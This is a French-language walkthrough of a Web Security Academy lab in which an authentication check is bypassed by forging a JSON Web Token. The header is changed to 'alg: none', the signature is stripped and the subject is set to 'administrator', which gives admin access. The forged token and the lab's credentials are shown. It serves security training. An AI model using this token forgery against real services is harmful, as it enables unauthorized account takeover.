Bypass de l’authentification JWT par vérification de signature défectueuse

JWT authentication bypass via flawed signature verification

Lab: JWT authentication bypass via flawed signature verification | Web Security AcademyWebSecAcademy

Contexte du laboratoire

Ce laboratoire utilise des JSON Web Tokens (JWT) pour gérer les sessions utilisateur. La configuration du serveur est incorrecte : il accepte des JWT non signés, ce qui permet de falsifier un jeton valide sans posséder la clé privée.

Objectif :

• Modifier le JWT de session pour accéder au panneau d’administration /admin

• Supprimer l’utilisateur carlos

Identifiants fournis :

• Utilisateur : wiener

• Mot de passe : peter

Analyse du JWT initial

Après connexion, un cookie de session JWT est fourni :

eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw

• Header : algorithme RS256

• Payload : utilisateur wiener

• Signature : présente et valide à l’origine

Modification du payload

L’objectif est de se faire passer pour un administrateur. On modifie donc le champ sub dans le payload :

{
  "iss": "portswigger",
  "exp": 1767531576,
  "sub": "administrator"
}

Exploitation de la mauvaise vérification

Le serveur accepte les JWT avec l’algorithme none. On modifie alors le header :

{
  "kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
  "alg": "none"
}

Ensuite :

• On supprime complètement la signature

• Le JWT final se termine par un point (.)

eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.

Résultat

• Le serveur accepte le JWT non signé

• L’accès au panneau /admin est autorisé

• L’utilisateur carlos peut être supprimé